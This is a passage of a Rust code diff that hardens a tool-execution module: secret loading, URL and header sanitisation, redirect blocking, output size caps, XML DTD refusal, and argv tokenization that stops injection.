"{type_name}: {value:?} -> {out:?} starts with '-' or '+'" + ); +}); diff --git a/rust/src/executor.rs b/rust/src/executor.rs index 44f057f..a2a44eb 100644 --- a/rust/src/executor.rs +++ b/rust/src/executor.rs @@ -1,82 +1,298 @@ -use crate::types::{EvidenceEnvelope, Manifest, ToolCladError}; -use crate::validator::validate_arg; +use crate::scope::ScopeDef; +use crate::types::{ConditionalDef, EvidenceEnvelope, Manifest, ToolCladError, ToolLimits}; +use crate::validator::validate_arg_with_custom_types_in; use regex::Regex; use sha2::{Digest, Sha256}; -use std::collections::HashMap; +use std::borrow::Cow; +use std::collections::{HashMap, HashSet}; +use std::io::Read; +use std::path::{Path, PathBuf}; use std::process::{Command, Stdio}; -use std::time::Instant; +use std::sync::{mpsc, Arc, LazyLock, Mutex}; +use std::time::{Duration, Instant}; #[cfg(unix)] use std::os::unix::process::CommandExt; -/// Replace `{_secret:name}` with `TOOLCLAD_SECRET_{NAME}` env var. -fn inject_template_vars(template: &str) -> Result { - let re = Regex::new(r"\{_secret:([a-zA-Z0-9_]+)\}").unwrap(); - let mut result = template.to_string(); - for cap in re.captures_iter(template) { - let name = &cap[1]; +/// Where `{_secret:name}` values come from for one call: the file named by +/// `TOOLCLAD_SECRETS_FILE` (read at most once, on first use) wins over the +/// `TOOLCLAD_SECRET_` environment variable. +#[derive(Default)] +struct SecretSource { + file: Option>>, +} + +impl SecretSource { + fn lookup(&mut self, name: &str) -> Result { + if self.file.is_none() { + self.file = Some(load_secrets_file()?); + } + if let Some(Some(map)) = &self.file { + if let Some(v) = map.get(name) { + return Ok(v.clone()); + } + } let env_key = format!("TOOLCLAD_SECRET_{}", name.to_uppercase()); - let val = std::env::var(&env_key).map_err(|_| { + std::env::var(&env_key).map_err(|_| { ToolCladError::ExecutionError(format!("Secret '{}' not found (set {})", name, env_key)) - })?; + }) + } +} + +/// Read `TOOLCLAD_SECRETS_FILE` (top-level `name = "value"` TOML pairs), or +/// `None` when it is unset. A file readable by group or others is refused: +/// that check is what makes the file better than an environment variable. +fn load_secrets_file() -> Result>, ToolCladError> { + let Some(path) = std::env::var_os("TOOLCLAD_SECRETS_FILE") else { + return Ok(None); + }; + let shown = path.to_string_lossy().to_string(); + let err = |msg: String| ToolCladError::ExecutionError(msg); + let mut file = std::fs::File::open(&path).map_err(|e| { + err(format!( + "TOOLCLAD_SECRETS_FILE '{shown}' cannot be opened: {e}" + )) + })?; + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let mode = file + .metadata() + .map_err(|e| err(format!("TOOLCLAD_SECRETS_FILE '{shown}': {e}")))? + .permissions() + .mode() + & 0o777; + if mode & 0o077 != 0 { + return Err(err(format!( + "TOOLCLAD_SECRETS_FILE '{shown}' is readable by group or others (mode {mode:04o}); chmod 600 it" + ))); + } + } + let mut text = String::new(); + std::io::Read::read_to_string(&mut file, &mut text).map_err(|e| { + err(format!( + "TOOLCLAD_SECRETS_FILE '{shown}' cannot be read: {e}" + )) + })?; + let table: toml::Table = toml::from_str(&text).map_err(|e| { + err(format!( + "TOOLCLAD_SECRETS_FILE '{shown}' is not valid TOML: {e}" + )) + })?; + let mut out = HashMap::with_capacity(table.len()); + for (k, v) in table { + let toml::Value::String(v) = v else { + return Err(err(format!( + "TOOLCLAD_SECRETS_FILE '{shown}': value for '{k}' must be a string" + ))); + }; + out.insert(k, v); + } + Ok(Some(out)) +} + +static SECRET_RE: LazyLock = + LazyLock::new(|| Regex::new(r"\{_secret:([a-zA-Z0-9_]+)\}").unwrap()); + +/// Replace each `{_secret:name}` with its value from `secrets`. +fn inject_template_vars( + template: &str, + secrets: &mut SecretSource, +) -> Result { + let mut result = template.to_string(); + for cap in SECRET_RE.captures_iter(template) { + let val = secrets.lookup(&cap[1])?; result = result.replace(&cap[0], &val); } Ok(result) } -/// Execute an HTTP backend tool, returning an evidence envelope. -fn execute_http( - manifest: &Manifest, - validated: &HashMap, -) -> Result { - let http = manifest.http.as_ref().unwrap(); - let scan_id = format!( - "{}-{}", - chrono::Utc::now().timestamp(), - &uuid::Uuid::new_v4().to_string()[..5] - ); - let timestamp = chrono::Utc::now().to_rfc3339(); - let start = Instant::now(); +/// The interpolated parts of an HTTP backend request. +#[derive(Debug)] +struct HttpRequestParts { + url: String, + headers: Vec<(String, String)>, + body: Option, +} - // Interpolate URL with args and secrets. - let mut url = http.url.clone(); - for (k, v) in validated { - url = url.replace(&format!("{{{k}}}"), v); +/// The literal host (authority minus userinfo and port) of a manifest +/// `http.url`. The scheme and host must not contain a placeholder: the host +/// is the SSRF boundary and stays manifest-controlled. +pub fn http_url_literal_host(url: &str) -> Result { + let interp_err = || { + ToolCladError::ManifestError( + "http.url may not interpolate into the scheme or host".to_string(), + ) + }; + let Some((scheme, rest)) = url.split_once("://") else { + if url + .split(['/', '?', '#']) + .next() + .unwrap_or("") + .contains('{') + { + return Err(interp_err()); + } + return Err(ToolCladError::ManifestError(format!( + "http.url '{url}' must be an absolute http or https URL" + ))); + }; + let authority = rest.split(['/', '?', '#']).next().unwrap_or(""); + if scheme.contains('{') || authority.contains('{') || authority.contains('}') { + return Err(interp_err()); + } + let scheme = scheme.to_ascii_lowercase(); + if scheme != "http" && scheme != "https" { + return Err(ToolCladError::ManifestError(format!( + "http.url scheme '{scheme}' is not allowed (use http or https)" + ))); + } + let hostport = authority.rsplit_once('@').map_or(authority, |(_, h)| h); + let host = if hostport.starts_with('[') { + hostport + .find(']') + .map_or(hostport, |i| &hostport[..=i]) + .to_string() + } else { + hostport + .rsplit_once(':') + .map_or(hostport, |(h, _)| h) + .to_string() + }; + if host.is_empty() { + return Err(ToolCladError::ManifestError(format!( + "http.url '{url}' has no host" + ))); + } + Ok(host) +} + +/// Refuse an HTTP header name that is not an RFC 9110 token. +pub fn check_header_name(name: &str) -> Result<(), ToolCladError> { + let tchar = |b: u8| b.is_ascii_alphanumeric() || b"!#$%&'*+-.^_`|~".contains(&b); + if name.is_empty() || !name.bytes().all(tchar) { + return Err(ToolCladError::ManifestError(format!( + "http header name '{}' is not a valid token", + name.escape_default() + ))); + } + Ok(()) +} + +/// Percent-encode every byte outside the RFC 3986 `unreserved` set, so an +/// interpolated value can never add a `/`, `?`, `#`, `&`, `=` or `%` to the +/// URL's structure. Used for both path and query positions. +pub fn percent_encode(value: &str) -> String { + let mut out = String::with_capacity(value.len()); + for &b in value.as_bytes() { + if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') { + out.push(b as char); + } else { + out.push_str(&format!("%{b:02X}")); + } } - url = inject_template_vars(&url)?; + out +} + +/// Matches a `{name}` argument placeholder in an HTTP template. +static HTTP_PLACEHOLDER_RE: LazyLock = LazyLock::new(|| Regex::new(r"\{(\w+)\}").unwrap()); + +/// Substitute validated arguments into `template` in one left-to-right pass +/// (a value is never rescanned for placeholders), passing each value through +/// `encode`. A placeholder that names no validated argument is left as +/// written. +fn interpolate( + template: &str, + validated: &HashMap, + encode: impl Fn(&str) -> String, +) -> String { + HTTP_PLACEHOLDER_RE + .replace_all(template, |caps: ®ex::Captures| { + match validated.get(&caps[1]) { + Some(v) => encode(v), + None => caps[0].to_string(), + } + }) + .into_owned() +} - // Build headers with interpolation. - let mut headers: Vec<(String, String)> = Vec::new(); +/// Build the URL, headers and body of an HTTP backend request. +/// +/// Order matters: `{_secret:name}` references are expanded on the manifest +/// template FIRST, then validated arguments are interpolated. A value that +/// smuggles a `{_secret:…}` reference therefore lands after secret expansion +/// has already happened and stays a literal: it can never pull a secret into +/// an attacker-chosen URL, header or body. The `url` validator independently +/// rejects `{` and `}`; this ordering does not rely on that. +/// +/// URL values are percent-encoded (path and query alike), header values are +/// refused when they contain CR, LF or NUL after interpolation, and body +/// values are JSON-escaped. +fn build_http_request( + manifest: &Manifest, + validated: &HashMap, +) -> Result { + let http = manifest.http.as_ref().ok_or_else(|| { + ToolCladError::ExecutionError("manifest has no [http] section".to_string()) + })?; + // Also enforced at load; repeated for a manifest built in code. + http_url_literal_host(&http.url)?; + let mut secrets = SecretSource::default(); + + // URL: secrets on the template, then percent-encoded arguments. + let url_tmpl = inject_template_vars(&http.url, &mut secrets)?; + let url = interpolate(&url_tmpl, validated, percent_encode); + + // Headers: same order for every value. + let mut headers: Vec<(String, String)> = Vec::with_capacity(http.headers.len()); for (hk, hv) in &http.headers { - let mut val = hv.clone(); - for (k, v) in validated { - val = val.replace(&format!("{{{k}}}"), v); + check_header_name(hk)?; + let tmpl = inject_template_vars(hv, &mut secrets)?; + let val = interpolate(&tmpl, validated, |v| v.to_string()); + if val.contains(['\r', '\n', '\0']) { + return Err(ToolCladError::ValidationError(format!( + "http header '{hk}' contains a CR, LF or NUL after interpolation" + ))); } - val = inject_template_vars(&val)?; headers.push((hk.clone(), val)); } - // Build body from template if present, with JSON-safe escaping. - let body = if let Some(ref body_tmpl) = http.body_template { - let mut b = body_tmpl.clone(); - for (k, v) in validated { - // JSON-escape the value to prevent injection into JSON body. - let escaped = serde_json::to_string(v) - .unwrap_or_else(|_| format!("\"{}\"", v)) - .trim_matches('"') - .to_string(); - b = b.replace(&format!("{{{k}}}"), &escaped); + // Body: secrets on the template, then JSON-escaped arguments. + let body = match http.body_template { + Some(ref body_tmpl) => { + let tmpl = inject_template_vars(body_tmpl, &mut secrets)?; + Some(interpolate(&tmpl, validated, |v| { + let quoted = serde_json::to_string(v).unwrap_or_default(); + quoted[1..quoted.len() - 1].to_string() + })) } - Some(inject_template_vars(&b)?) - } else { - None + None => None, }; - // Execute the HTTP request with timeout. + Ok(HttpRequestParts { url, headers, body }) +} + +/// Execute an HTTP backend tool, returning an evidence envelope. +/// +/// Redirects are never followed (an allowed host could otherwise 302 to an +/// internal address); a 3xx is reported as `redirect_blocked`. The body is +/// read up to `[output] max_bytes`. +fn execute_http( + manifest: &Manifest, + validated: &HashMap, +) -> Result { + let http = manifest.http.as_ref().unwrap(); + let scan_id = new_scan_id(); + let timestamp = chrono::Utc::now().to_rfc3339(); + let start = Instant::now(); + + let HttpRequestParts { url, headers, body } = build_http_request(manifest, validated)?; + let client = reqwest::blocking::Client::builder() .timeout(std::time::Duration::from_secs( manifest.tool.timeout_seconds, )) + .redirect(reqwest::redirect::Policy::none()) .build() .map_err(|e| ToolCladError::ExecutionError(format!("HTTP client error: {e}")))?; let method_upper = http.method.to_uppercase(); @@ -97,8 +313,8 @@ fn execute_http( for (hk, hv) in &headers { req = req.header(hk, hv); } - if let Some(ref b) = body { - req = req.body(b.clone()); + if let Some(b) = body { + req = req.body(b); } let resp = req @@ -106,12 +322,49 @@ fn execute_http( .map_err(|e| ToolCladError::ExecutionError(format!("HTTP request failed: {e}")))?; let status_code = resp.status().as_u16(); - let resp_body = resp - .text() + let location = resp + .headers() + .get(reqwest::header::LOCATION) + .map(|v| String::from_utf8_lossy(v.as_bytes()).into_owned()); + let max = max_output_bytes(manifest); + let mut bytes = Vec::new(); + resp.take(max as u64 + 1) + .read_to_end(&mut bytes) .map_err(|e| ToolCladError::ExecutionError(format!("failed to read response: {e}")))?; + let truncated = bytes.len() > max; + let resp_body = capped_text(bytes, max); let duration_ms = start.elapsed().as_millis() as u64; + let output_hash = { + let mut hasher = Sha256::new(); + hasher.update(resp_body.as_bytes()); + format!("sha256:{:x}", hasher.finalize()) + }; + let command = format!("{} {}", method_upper, http.url); + + if (300..400).contains(&status_code) { + return Ok(EvidenceEnvelope { + status: "redirect_blocked".to_string(), + scan_id, + tool: manifest.tool.name.clone(), + command, + duration_ms, + timestamp, + output_file: None, + output_hash: Some(output_hash), + exit_code: 1, + stderr: String::new(), + results: serde_json::json!({ + "location": location, + "raw_output": resp_body, + "http_status": status_code, + "http_method": method_upper, + }), + output_truncated: truncated, + }); + } + // Determine success/error based on configured status codes. let is_success = if !http.success_status.is_empty() { http.success_status.contains(&status_code) @@ -121,7 +374,7 @@ fn execute_http( (200..300).contains(&status_code) }; - let status_str = if is_success { + let mut status_str = if is_success { "success".to_string() } else if (400..500).contains(&status_code) { format!("client_error (HTTP {})", status_code) @@ -131,23 +384,31 @@ fn execute_http( format!("error (HTTP {})", status_code) }; - let output_hash = { - let mut hasher = Sha256::new(); - hasher.update(resp_body.as_bytes()); - format!("sha256:{:x}", hasher.finalize()) + // A successful body goes through the same parse and fail-closed schema + // check as oneshot output; a truncated body is partial, so it fails to + // parse (or is checked as truncated text) rather than passing silently. + // An error response is returned raw. + let mut results = if is_success { + let (override_status, results) = checked_results(manifest, &resp_body); + if let Some(st) = override_status { + status_str = st.to_string(); + } + results + } else { + serde_json::json!({ "raw_output": resp_body }) }; - - let results = serde_json::json!({ - "raw_output": resp_body, - "http_status": status_code, - "http_method": method_upper, - }); + if let Some(obj) = results.as_object_mut() { + obj.entry("http_status") + .or_insert_with(|| serde_json::json!(status_code)); + obj.entry("http_method") + .or_insert_with(|| serde_json::json!(method_upper)); + } Ok(EvidenceEnvelope { status: status_str, scan_id, tool: manifest.tool.name.clone(), - command: format!("{} {}", method_upper, url), + command, duration_ms, timestamp, output_file: None, @@ -155,6 +416,7 @@ fn execute_http( exit_code: if is_success { 0 } else { 1 }, stderr: String::new(), results, + output_truncated: truncated, }) } @@ -164,11 +426,7 @@ fn execute_mcp_proxy( validated: &HashMap, ) -> Result { let mcp = manifest.mcp.as_ref().unwrap(); - let scan_id = format!( - "{}-{}", - chrono::Utc::now().timestamp(), - &uuid::Uuid::new_v4().to_string()[..5] - ); + let scan_id = new_scan_id(); let timestamp = chrono::Utc::now().to_rfc3339(); // Map arguments through field_map. @@ -188,7 +446,7 @@ fn execute_mcp_proxy( status: "delegation_preview".to_string(), scan_id, tool: manifest.tool.name.clone(), - command: format!("mcp://{}:{}", mcp.server, mcp.tool), + command: format!("mcp://{}/{}", mcp.server, mcp.tool), duration_ms: 0, timestamp, output_file: None, @@ -196,30 +454,268 @@ fn execute_mcp_proxy( exit_code: 0, stderr: String::new(), results, + output_truncated: false, }) } -/// Build an argv array from the manifest `exec` field and validated arguments. +/// Matches, in one left-to-right pass, either a brace escape (`{{` / `}}`) +/// or a `{name}` placeholder. Escapes are consumed before placeholders so a +/// literal `%{{http_code}}` is never misread as a placeholder. +static PLACEHOLDER_RE: LazyLock = + LazyLock::new(|| Regex::new(r"\{\{|\}\}|\{(\w+)\}").unwrap()); + +/// Variables the executor injects into every command; always resolvable. +pub const INJECTED_VARS: &[&str] = &["_scan_id", "_output_file", "_evidence_dir"]; + +/// Tokenize a trusted manifest template string into an argv-shaped vector. +/// +/// POSIX-like: `'…'` and `"…"` group whitespace, `\` escapes the next +/// character outside single quotes. The tokenizer runs on manifest text only +/// — substituted values are never re-split. A `{` inside quotes is refused +/// (unless it opens a `{{` escape) because a quoted placeholder would let a +/// value break out of its token; placeholders must be whole, unquoted tokens. +pub fn tokenize_template(s: &str) -> Result, ToolCladError> { + let mut tokens: Vec = Vec::new(); + let mut cur = String::new(); + let mut started = false; + let mut in_single = false; + let mut in_double = false; + let mut chars = s.char_indices().peekable(); + + while let Some((i, c)) = chars.next() { + match c { + '\\' if !in_single => match chars.next() { + Some((_, next)) => { + cur.push(next); + started = true; + } + None => { + return Err(ToolCladError::ManifestError( + "trailing backslash in command template".to_string(), + )) + } + }, + '\'' if !in_double => { + in_single = !in_single; + started = true; + } + '"' if !in_single => { + in_double = !in_double; + started = true; + } + '{' if in_single || in_double => { + if chars.peek().map(|(_, n)| *n) == Some('{') { + // `{{` escape: a literal brace is fine inside quotes. + chars.next(); + cur.push_str("{{"); + started = true; + } else { + return Err(ToolCladError::ManifestError(format!( + "command template places a placeholder inside quotes at offset {i}; \ + placeholders must be whole, unquoted tokens (use exec = [...])" + ))); + } + } + c if c.is_whitespace() && !in_single && !in_double => { + if started { + tokens.push(std::mem::take(&mut cur)); + started = false; + } + } + c => { + cur.push(c); + started = true; + } + } + } + + if in_single || in_double { + return Err(ToolCladError::ManifestError( + "unbalanced quote in command template".to_string(), + )); + } + if started { + tokens.push(cur); + } + Ok(tokens) +} + +/// Placeholder names referenced by one token, in order, skipping `{{`/`}}` +/// escapes. Shared by the load-time scan and build-time substitution so the +/// two can never disagree about what counts as a placeholder. +pub fn placeholder_names(token: &str) -> Vec { + PLACEHOLDER_RE + .captures_iter(token) + .filter_map(|cap| cap.get(1).map(|m| m.as_str().to_string())) + .collect() +} + +/// If `token` is exactly one `{name}` placeholder (no surrounding text, not +/// an escape), return `name`. +fn exact_placeholder(token: &str) -> Option<&str> { + let cap = PLACEHOLDER_RE.captures(token)?; + let whole = cap.get(0)?; + if whole.start() == 0 && whole.end() == token.len() { + cap.get(1).map(|m| m.as_str()) + } else { + None + } +} + +/// The compiled exec form of a manifest: the declared `exec` array, or the +/// tokenized `template` when the manifest was built without going through the +/// loader (which compiles the template at load). +fn compiled_exec(manifest: &Manifest) -> Result, ToolCladError> { + if let Some(ref exec) = manifest.command.exec { + return Ok(exec.clone()); + } + if let Some(ref template) = manifest.command.template { + return tokenize_template(template); + } + Err(ToolCladError::CommandError( + "no exec array or command template in manifest (use executor for custom wrappers)" + .to_string(), + )) +} + +/// The token vector of a conditional: the load-compiled `tokens`, or the +/// tokenized `template` for manifests built without the loader. +fn conditional_tokens(cond: &ConditionalDef) -> Result, ToolCladError> { + if !cond.tokens.is_empty() || cond.template.is_empty() { + return Ok(cond.tokens.clone()); + } + tokenize_template(&cond.template) +} + +/// Single-token variables (`vars`) and trusted multi-token variables +/// (`trusted`) resolved for one invocation. +struct ResolvedVars { + /// User args, `[command.defaults]`, and executor-injected values. Each is + /// exactly one argv token's worth of text and is only ever substituted + /// textually inside a single token. + vars: HashMap, + /// `__flags` from `[command.mappings]` and `_` from + /// `[command.conditionals]`: manifest-controlled token vectors spliced + /// into argv when referenced as a whole token. + trusted: HashMap>, +} + +/// Substitute one token vector per W1.3. +/// +/// A token that is exactly `{name}` for a trusted var splices that var's +/// tokens; every other token has its placeholders substituted textually and is +/// emitted as a single argv entry, never re-split. A token that was exactly one +/// placeholder resolving to the empty string is dropped. Returns the argv +/// slice plus the index of the first entry produced from a token that was +/// solely a user-argument placeholder (for `end_of_options`). +fn substitute_tokens( + tokens: &[String], + vars: &HashMap, + trusted: &HashMap>, + user_args: &HashSet<&str>, + context: &str, +) -> Result<(Vec, Option), ToolCladError> { + let mut out: Vec = Vec::new(); + let mut first_user_arg: Option = None; + + for token in tokens { + let exact = exact_placeholder(token); + if let Some(name) = exact { + if let Some(vec) = trusted.get(name) { + out.extend(vec.iter().cloned()); + continue; + } + } + + let mut result = String::with_capacity(token.len()); + let mut last = 0; + for cap in PLACEHOLDER_RE.captures_iter(token) { + let whole = cap.get(0).unwrap(); + result.push_str(&token[last..whole.start()]); + match whole.as_str() { + "{{" => result.push('{'), + "}}" => result.push('}'), + _ => { + let name = &cap[1]; + match vars.get(name) { + Some(v) => result.push_str(v), + None if trusted.contains_key(name) => { + return Err(ToolCladError::CommandError(format!( + "placeholder '{{{name}}}' expands to multiple tokens and must be a whole token in {context}" + ))); + } + None => { + return Err(ToolCladError::CommandError(format!( + "unresolved placeholder '{{{name}}}' in {context}" + ))); + } + } + } + } + last = whole.end(); + } + result.push_str(&token[last..]); + + if let Some(name) = exact { + if result.is_empty() { + // An unset optional disappears from argv entirely. + continue; + } + if first_user_arg.is_none() && user_args.contains(name) { + first_user_arg = Some(out.len()); + } + } + out.push(result); + } + + Ok((out, first_user_arg)) +} + +/// Build an argv array from the manifest's compiled exec form and validated +/// arguments. /// -/// Each element in `exec` is interpolated independently, preserving argument -/// boundaries. This avoids the template→string→split round-trip that breaks -/// when argument values contain spaces or quote characters. +/// Each element is substituted independently (see [`tokenize_template`] for +/// how a `template` becomes elements). Trusted multi-token variables +/// (`{__flags}`, `{_}`) splice their token vectors; everything else +/// is substituted inside its own element and never re-split, so a value +/// containing spaces or quotes stays exactly one argv entry. pub fn build_command_argv( manifest: &Manifest, args: &HashMap, ) -> Result, ToolCladError> { - let exec = manifest - .command - .exec - .as_ref() - .ok_or_else(|| ToolCladError::CommandError("no exec array in manifest".to_string()))?; - - let vars = resolve_vars(manifest, args)?; + let paths = EvidencePaths::new(manifest, new_scan_id()); + build_argv_with(manifest, args, &paths) +} - let argv: Vec = exec - .iter() - .map(|element| interpolate_template(element, &vars)) - .collect(); +/// [`build_command_argv`] with the injected evidence variables of one +/// invocation, so the argv and the directories created for it agree. +fn build_argv_with( + manifest: &Manifest, + args: &HashMap, + paths: &EvidencePaths, +) -> Result, ToolCladError> { + let tokens = compiled_exec(manifest)?; + let resolved = resolve_vars(manifest, args, paths)?; + let user_args: HashSet<&str> = manifest.args.keys().map(String::as_str).collect(); + + let (mut argv, first_user_arg) = substitute_tokens( + &tokens, + &resolved.vars, + &resolved.trusted, + &user_args, + "command", + )?; + + if let Some(ref eoo) = manifest.command.end_of_options { + if eoo != "--" { + return Err(ToolCladError::CommandError(format!( + "end_of_options must be exactly \"--\" (got '{eoo}')" + ))); + } + if let Some(idx) = first_user_arg { + argv.insert(idx, "--".to_string()); + } + } if argv.is_empty() { return Err(ToolCladError::CommandError( @@ -230,48 +726,38 @@ pub fn build_command_argv( Ok(argv) } -/// Build the command string from a manifest template and validated arguments. +/// Build a display string for the command from a manifest and validated +/// arguments. /// -/// Performs template interpolation including: -/// - Direct argument substitution (`{arg_name}`) -/// - Mapping resolution (`{_scan_flags}` from `[command.mappings.scan_type]`) -/// - Default value injection (`[command.defaults]`) -/// - Conditional fragment inclusion (`[command.conditionals]`) +/// Compatibility shim: this is [`build_command_argv`] joined with single +/// spaces. The string is for display only and is never re-split or executed; +/// use [`build_command_argv`] for anything that reaches a process. +#[deprecated(note = "use build_command_argv; the joined string is for display only")] pub fn build_command( manifest: &Manifest, args: &HashMap, ) -> Result { - let template = manifest - .command - .template - .as_ref() - .ok_or_else(|| { - ToolCladError::CommandError( - "no command template (use executor for custom wrappers)".to_string(), - ) - })? - .clone(); - - let vars = resolve_vars(manifest, args)?; - - // Perform final template interpolation. - let result = interpolate_template(&template, &vars); - - // Clean up multiple spaces from empty interpolations. - let cleaned = result.split_whitespace().collect::>().join(" "); - - Ok(cleaned) + Ok(build_command_argv(manifest, args)?.join(" ")) } -/// Resolve all template variables: args, defaults, mappings, conditionals, executor vars. +/// Resolve the two variable classes for one invocation: single-token vars +/// (declared args, `[command.defaults]`, executor-injected values) and trusted +/// multi-token vars (`__flags` from mappings, `_` from conditionals). fn resolve_vars( manifest: &Manifest, args: &HashMap, -) -> Result, ToolCladError> { - // Start with provided args. - let mut vars: HashMap = args.clone(); + paths: &EvidencePaths, +) -> Result { + let mut vars: HashMap = HashMap::new(); + + // Declared args only: an undeclared key can never reach a placeholder. + for name in manifest.args.keys() { + if let Some(v) = args.get(name) { + vars.insert(name.clone(), v.clone()); + } + } - // Inject defaults for missing args. + // [command.defaults] for anything not supplied. if let Some(ref defaults) = manifest.command.defaults { for (key, val) in defaults { vars.entry(key.clone()) @@ -279,7 +765,7 @@ fn resolve_vars( } } - // Inject defaults from arg definitions for missing args. + // Per-arg defaults for anything still missing. for (key, def) in &manifest.args { if !vars.contains_key(key) { if let Some(ref default_val) = def.default { @@ -288,64 +774,63 @@ fn resolve_vars( } } - // Resolve mappings: for each mapping `[command.mappings.]`, look up - // the arg value and produce a `_{arg_name}_flags` variable. + // Executor-injected single-token vars. Inserted after user args so a + // declared arg can never shadow them. + vars.insert("_scan_id".to_string(), paths.scan_id.clone()); + vars.insert( + "_evidence_dir".to_string(), + path_string(&paths.evidence_dir), + ); + vars.insert("_output_file".to_string(), path_string(&paths.output_file)); + + let mut trusted: HashMap> = HashMap::new(); + + // Mappings: `[command.mappings.]` → `__flags`. The mapped value + // is manifest text, so tokenizing it is safe; it is spliced verbatim. if let Some(ref mappings) = manifest.command.mappings { for (arg_name, mapping) in mappings { - if let Some(arg_val) = vars.get(arg_name) { - if let Some(mapped) = mapping.get(arg_val) { - // Convention: the mapped variable is `__flags` - // but manifests may reference it as `_{arg_name}_flags` or - // `_scan_flags` etc. We insert both forms. - vars.insert(format!("_{arg_name}_flags"), mapped.clone()); - // Also insert the shorter form in case the template uses it. - vars.insert(format!("_{arg_name}"), mapped.clone()); - } - } + let tokens = match vars.get(arg_name) { + Some(arg_val) => match mapping.get(arg_val) { + Some(mapped) => tokenize_template(mapped)?, + None => { + return Err(ToolCladError::CommandError(format!( + "no mapping for argument '{arg_name}' value '{arg_val}' in [command.mappings.{arg_name}]" + ))); + } + }, + None => Vec::new(), + }; + trusted.insert(format!("_{arg_name}_flags"), tokens); } } - // Auto-generate executor-injected variables. - let scan_id = format!( - "{}-{}", - chrono::Utc::now().timestamp(), - &uuid::Uuid::new_v4().to_string()[..5] - ); - vars.insert("_scan_id".to_string(), scan_id.clone()); - - let evidence_dir = std::env::var("TOOLCLAD_EVIDENCE_DIR").unwrap_or_else(|_| { - let mut dir = std::env::temp_dir(); - dir.push("toolclad-evidence"); - dir.to_string_lossy().to_string() - }); - vars.insert("_evidence_dir".to_string(), evidence_dir.clone()); - - let output_file = format!("{evidence_dir}/{scan_id}-output"); - vars.insert("_output_file".to_string(), output_file); - - // Resolve conditionals. + // Conditionals: `[command.conditionals.]` → `_`. Each token of + // the compiled fragment is substituted individually; a false condition + // contributes nothing. Resolved in name order so the result is stable. if let Some(ref conditionals) = manifest.command.conditionals { - for (cond_name, cond_def) in conditionals { - let include = evaluate_condition(&cond_def.when, &vars); - if include { - let fragment = interpolate_template(&cond_def.template, &vars); - vars.insert(format!("_{cond_name}"), fragment); + let mut names: Vec<&String> = conditionals.keys().collect(); + names.sort(); + let no_user_args: HashSet<&str> = HashSet::new(); + for cond_name in names { + let cond_def = &conditionals[cond_name]; + let tokens = if evaluate_condition(&cond_def.when, &vars) { + let fragment = conditional_tokens(cond_def)?; + let (out, _) = substitute_tokens( + &fragment, + &vars, + &trusted, + &no_user_args, + &format!("conditional '{cond_name}'"), + )?; + out } else { - vars.insert(format!("_{cond_name}"), String::new()); - } + Vec::new() + }; + trusted.insert(format!("_{cond_name}"), tokens); } } - Ok(vars) -} - -/// Interpolate `{placeholder}` references in a template string. -fn interpolate_template(template: &str, vars: &HashMap) -> String { - let mut result = template.to_string(); - for (key, value) in vars { - result = result.replace(&format!("{{{key}}}"), value); - } - result + Ok(ResolvedVars { vars, trusted }) } /// Evaluate a simple condition expression against variables. @@ -407,7 +892,7 @@ fn evaluate_condition(expr: &str, vars: &HashMap) -> bool { } /// Convert a TOML value to a string for interpolation. -fn toml_value_to_string(val: &toml::Value) -> String { +pub(crate) fn toml_value_to_string(val: &toml::Value) -> String { match val { toml::Value::String(s) => s.clone(), toml::Value::Integer(n) => n.to_string(), @@ -452,12 +937,18 @@ fn split_csv_line(line: &str, delimiter: char) -> Vec { /// /// Produces nested structures: `{ "tag": { "@attr": "val", "#text": "content", "child": [...] } }`. /// For repeated child elements with the same tag name, values are collected into arrays. -/// Falls back to `{"raw_output": ...}` on parse failure. +/// Input containing a ` Result { let xml = xml.trim(); if xml.is_empty() { return Ok(serde_json::json!({"raw_output": ""})); } + // No DTDs: entity declarations are how entity-expansion attacks start, and + // no tool output needs them. + let lower = xml.to_ascii_lowercase(); + if lower.contains(" Result { } } +/// The XML refusal message, shared by every runtime. +pub const XML_DTD_REFUSED: &str = + "XML output contains a DOCTYPE or ENTITY declaration; refusing to parse"; + +/// `[output] max_bytes`, or the 8 MiB default when there is no `[output]`. +fn max_output_bytes(manifest: &Manifest) -> usize { + manifest.output.as_ref().map_or(8_388_608, |o| o.max_bytes) as usize +} + +/// Decode captured bytes, trimmed to at most `max` bytes on a character +/// boundary (lossy decoding can lengthen a cut multibyte sequence). +fn capped_text(mut bytes: Vec, max: usize) -> String { + bytes.truncate(max); + let mut text = String::from_utf8_lossy(&bytes).into_owned(); + if text.len() > max { + let mut end = max; + while !text.is_char_boundary(end) { + end -= 1; + } + text.truncate(end); + } + text +} + +/// Parse `raw` and check it against `[output.schema]`, failing closed. +/// +/// Returns the status override (`parse_error` / `schema_error`, or `None`) +/// and the results: the parsed object, or +/// `{"parse_error"|"schema_error": "", "raw_output": ""}`. +fn checked_results(manifest: &Manifest, raw: &str) -> (Option<&'static str>, serde_json::Value) { + let parsed = match parse_output(manifest, raw) { + Ok(v) => v, + Err(msg) => { + return ( + Some("parse_error"), + serde_json::json!({ "parse_error": msg, "raw_output": raw }), + ) + } + }; + let default_schema = serde_json::json!({"type": "object"}); + let schema = manifest + .output + .as_ref() + .map_or(&default_schema, |o| &o.schema); + match crate::schema::validate(schema, &parsed) { + Ok(()) => (None, parsed), + Err(msg) => ( + Some("schema_error"), + serde_json::json!({ "schema_error": msg, "raw_output": raw }), + ), + } +} + /// Parse raw command output according to the manifest's output format/parser. -fn parse_output(manifest: &Manifest, raw: &str) -> Result { +/// +/// The result is always a JSON object: `builtin:jsonl` and `builtin:csv` +/// produce `{"parsed_output": [...]}`, `builtin:text` produces +/// `{"raw_output": "..."}`, and `builtin:json` passes an object through and +/// wraps anything else as `{"parsed_output": ...}`. An error is the parse +/// failure message. +fn parse_output(manifest: &Manifest, raw: &str) -> Result { // Callback-mode manifests may omit [output]; treat as text in that case. let (parser, format) = match manifest.output.as_ref() { Some(o) => (o.parser.as_deref(), o.format.as_str()), @@ -599,16 +1149,23 @@ fn parse_output(manifest: &Manifest, raw: &str) -> Result serde_json::from_str(raw) - .map_err(|e| ToolCladError::ExecutionError(format!("JSON parse failed: {e}"))), + "builtin:json" => { + let v: serde_json::Value = + serde_json::from_str(raw).map_err(|e| format!("JSON parse failed: {e}"))?; + Ok(if v.is_object() { + v + } else { + serde_json::json!({ "parsed_output": v }) + }) + } "builtin:jsonl" => { let lines: Vec = raw .lines() .filter(|l| !l.trim().is_empty()) .map(serde_json::from_str) .collect::>() - 